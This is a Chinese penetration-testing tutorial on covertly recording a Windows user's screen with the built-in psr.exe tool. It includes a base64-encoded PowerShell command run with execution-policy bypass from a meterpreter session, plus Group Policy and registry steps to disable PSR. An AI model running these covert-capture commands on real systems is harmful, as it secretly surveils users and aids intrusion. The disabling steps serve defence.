在滲透測試的過程中,如果需要獲取主機的更多信息,相比于鍵盤記錄,記錄系統屏幕的操作往往更加直接有效。
也許每個人都有自己獨特的實現方式,但是如果能夠利用Windows系統自帶的程序實現,個人認為絕對是最優先考慮的方案。
下面就介紹一下如何利用Windows系統自帶的功能實現監控屏幕操作。
PSR(Problem Steps Recorder),直譯為問題步驟記錄器,在Windows 早期的系統中,采用WER(Windows Error Reporting)來收集系統的錯誤報告,但這些報告往往包含的信息太少以致于無法解決實際問題。
為此,微軟從Windows 7系統開始,增加了PSR來解決這個問題,PSR能夠記錄用戶在遇到崩潰時執行的所有操作,以便測試人員和開發人員能夠重現環境對其分析和調試。
當PSR運行時,將會自動記錄屏幕的操作,每次操作都會自動保存成一張圖片,最終生成一份zip格式的報告。
注:
百度百科對psr的名稱描述有誤,準確的應為Problem Steps Recorder(該問題已提交)
如圖
可使用快捷鍵win+R直接輸入psr來啟動
下圖為psr的操作面板,點擊開始記錄即可記錄當前的屏幕操作
點擊后會提示權限的問題,如果需要記錄管理員權限的程序,那么需要以管理員權限來運行psr,如圖
當運行psr開始錄制后,鼠標點擊時會增加特效
如圖
如圖
報告會對每次操作截圖,并記錄鼠標的操作
比如鼠標的單擊操作,從截圖注釋可以看到當前的鼠標做了哪些操作
而且,在報告后半部分會詳細記錄相關細節,里面的內容也很是有趣:
psr在記錄屏幕的操作中會啟動UI界面,并且對鼠標點擊操作增加特效,這顯然無法滿足滲透測試的要求。
但好在psr提供了命令行參數用作后臺記錄
命令行參數如下:
#!bash
psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]
/start Start Recording. (Outputpath flag SHOULD be specified)
/stop Stop Recording.
/sc Capture screenshots for recorded steps.
/maxsc Maximum number of recent screen captures.
/maxlogsize Maximum log file size (in MB) before wrapping occurs.
/gui Display control GUI.
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output Store output of record session in given path.
/stopevent Event to signal after output files are generated.
結合實際,可使用以下命令:
psr.exe /start /gui 0 /output C:\test\capture.zip
后臺啟動psr并開始錄制,文件保存為C:\test\capture.zip
psr.exe /stop
結束錄制并退出psr,自動保存報告文件
測試環境:
Server:
OS:Kali linux
IP:192.168.174.133
Client:
OS:Win7 x86
IP:192.168.174.128
Kali已獲得meterpreter權限
如圖
測試功能:
可使用Powershell對上述功能做簡單實現:
1、啟動自動錄制,設置為無界面模式,并指定輸出路徑:
#!bash
psr.exe /start /gui 0 /output C:\test\capture.zip;
2、等待10s,即錄制時間為10s:
#!bash
Start-Sleep -s 10;
3、結束錄制,自動退出:
#!bash
psr.exe /stop;
可將以上代碼保存為C:\test\1.txt
,然后對其作base64加密
在Powershell環境下執行如下代碼來對功能代碼進行base64加密:
#!powershell
$string=Get-Content "C:\test\1.txt"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($string)
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded
如圖,從輸出得到加密的Powershell命令為:
#!bash
cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
然后就可以在meterpreter的shell下直接執行Powershell命令:
#!bash
powershell -ep bypass -enc cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
代碼執行后,等待10s產成報告文件capture.zip,測試成功
可采用以下兩種方法關閉psr:
中文系統:
gpedit.msc-管理模板-Windows組件-應用程序兼容性
啟用關閉問題步驟記錄器
如圖
英文系統:
gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Application Compatibility
啟用Turn off Problem Steps Recorder
如圖
#!bash
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]
新建"DisableUAR"=dword:00000001
如圖
注:
dword=1對應組策略中的已啟用
dword=0對應組策略中的已禁用
刪除"DisableUAR"對應組策略中的未配置
利用PSR監控Windows桌面,不僅僅能夠捕獲用戶桌面的操作,而且在報告中會包含更多有用的細節信息,相信你在滲透測試的過程中,一定會用上它。
本文由三好學生原創并首發于烏云drops,轉載請注明